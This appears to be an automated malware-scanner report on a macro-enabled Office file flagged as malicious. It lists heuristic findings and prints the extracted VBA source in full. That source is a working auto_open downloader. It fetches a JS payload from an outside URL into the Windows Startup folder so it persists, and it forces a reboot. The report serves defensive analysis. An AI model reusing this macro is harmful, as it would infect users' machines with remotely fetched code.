MALICIOUS
190
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "shutdown -r -f -t 02", vbHide -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
startupfolder = "C:\Users\" + CreateObject("WScript.Network").UserName + "\AppData\Roaming\" + "Microsoft\Windows\Start Menu\Programs\Startup\p111.js" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://www.diamantesviagens.com.br/PPO.js Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2133 bytes |
SHA-256: 0801c9132a6ce1a352ba893a64c49c33a1471db27f14610c1c6935629248d059 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Option Explicit
#If VBA7 And Win64 Then
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) 'For 64 Bit Systems
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "Wininet.dll" _
Alias "DeleteUrlCacheEntryA" ( _
ByVal lpszUrlName As String _
) As Long
#Else
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds as Long) 'For 32 Bit Systems
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
Private Declare Function DeleteUrlCacheEntry Lib "Wininet.dll" _
Alias "DeleteUrlCacheEntryA" ( _
ByVal lpszUrlName As String _
) As Long
#End If
Public Sub Download()
On Error GoTo Err
Dim Auxiliar As Long
Dim URL As String, CaminhoLocal As String, startupfolder As String
URL = "https://www.diamantesviagens.com.br/PPO.js"
CaminhoLocal = "C:\Users\Public\pandorinha.zip"
startupfolder = "C:\Users\" + CreateObject("WScript.Network").UserName + "\AppData\Roaming\" + "Microsoft\Windows\Start Menu\Programs\Startup\p111.js"
Auxiliar = URLDownloadToFile(0, URL, startupfolder, 0, 0)
' MsgBox "Download efetuado com sucesso!"
Exit Sub
Err:
MsgBox "Erro no download do arquivo"
End Sub
Public Function ForceReboot()
SleepTest
Shell "shutdown -r -f -t 02", vbHide
End Function
Sub SleepTest()
'MsgBox "Execution is started"
Sleep 180000 'delay in milliseconds
'MsgBox "Execution Resumed"
End Sub
Sub auto_open()
ForceReboot
Download
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/vbaProject.bin | 19456 bytes |
SHA-256: f4a0bbeb9d321a83719f4e3e6c7d6ba444bc966bbbf7c33abff85cba953db5c8 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.